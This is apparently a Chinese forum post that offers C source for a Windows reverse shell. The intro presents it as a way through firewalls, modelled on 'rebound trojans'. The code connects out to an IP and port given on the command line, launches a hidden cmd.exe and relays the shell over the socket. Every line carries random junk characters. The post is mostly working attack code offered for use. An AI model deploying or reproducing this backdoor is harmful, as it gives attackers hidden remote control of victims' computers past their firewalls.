这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 7HfA{.|m
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/* ============================== {}x{OP
Rebound port in Windows NT ~Y;_vU
By wind,2006/7 "A?&`}%
===============================*/ K 6 D3
#include 86+nFk
#include qcpAjjK
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#pragma comment(lib,"wsock32.lib") 4FLL*LCNX
c*R?eLt/
void OutputShell(); 3>O=d>
SOCKET sClient; F&pJ faig
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; BhFyEY(
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void main(int argc,char **argv) ~d5f]6#`
{ q8 jI
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WSADATA stWsaData; oMdqg4HUF
int nRet; 2x3%*r$
SOCKADDR_IN stSaiClient,stSaiServer; wP-BaB$_
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if(argc != 3) L{)*evBL
{ R/5@*mv{
printf("Useage:\n\rRebound DestIP DestPort\n"); P:Nj;Cxh
return; Vm6
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} xn1=@0
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WSAStartup(MAKEWORD(2,2),&stWsaData); Km/#\$|}
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); yex4A)n9"'
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stSaiClient.sin_family = AF_INET; gxa@da
stSaiClient.sin_port = htons(0); 2o5Pbdel
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); iLhxcM2K
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) d9bc>5%-F
{ o]gS=iLp
printf("Bind Socket Failed!\n"); UB5X2uBv
return; [*i6?5}-
} znVao %b
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stSaiServer.sin_family = AF_INET; LS(J%\hMDm
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 6KpG,%2L#
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); j=>:{`*c
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) svT1b'=\$I
{ Gh.@l\|tf
printf("Connect Error!"); 7|vB\[s
return; Y#[Wv1hi
} A08b=S
OutputShell(); :Ca]/ ]]
} ;_]Z3
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void OutputShell() 2p6`@8*34
{ Wa {()Cz
char szBuff[1024]; @20~R/vh
SECURITY_ATTRIBUTES stSecurityAttributes; &i/QFO7y}
OSVERSIONINFO stOsversionInfo; cwK+{*ZH/
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ;`p!/9il
STARTUPINFO stStartupInfo; k uEB
char *szShell; ~4MUac^w
PROCESS_INFORMATION stProcessInformation; 6e%|.}U
unsigned long lBytesRead; ]E8S`[Vn
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); DnY7$']"|
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 9gS.G2
stSecurityAttributes.lpSecurityDescriptor = 0; B^{87YR
stSecurityAttributes.bInheritHandle = TRUE; J3;dRW
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); orU++,S4Pm
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); \Gzo^w
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ww0m1FzX
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^Ko{#qbl/
stStartupInfo.wShowWindow = SW_HIDE; >mWu+Nn:
stStartupInfo.hStdInput = hReadPipe; BAUo`el5
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; !uno!wUIYd
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GetVersionEx(&stOsversionInfo); [>pqf
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switch(stOsversionInfo.dwPlatformId) qrq9NPf
{ P2Or|_z
case 1: KR4vcI[4
szShell = "command.com"; tOu:j [
break; x>E**a?!L
default: e.Y*=P}D
szShell = "cmd.exe"; nV$ctdusQ
break; T -'B-g
} 9Ytd E*,k
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 4_A9o9&_Rh
wd=xs7Dz<p
send(sClient,szMsg,77,0); Q<e`0cu|p
while(1) /nX+*L}d/
{ |>Xw"]b;
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); TYs#v/)I
if(lBytesRead) YflotlT}
{ 1V@\L|Y
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); cv'Fc
send(sClient,szBuff,lBytesRead,0); INHN=KY{
} o}iqLe\
else s\-^vj3
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lBytesRead=recv(sClient,szBuff,1024,0); qZ39TTQ*p
if(lBytesRead<=0) break; JMT?+/Q bu
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); kOe~0xoT@u
} .QhH!#Y2D
} !iOuIYjV
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return; e$wbYByW
}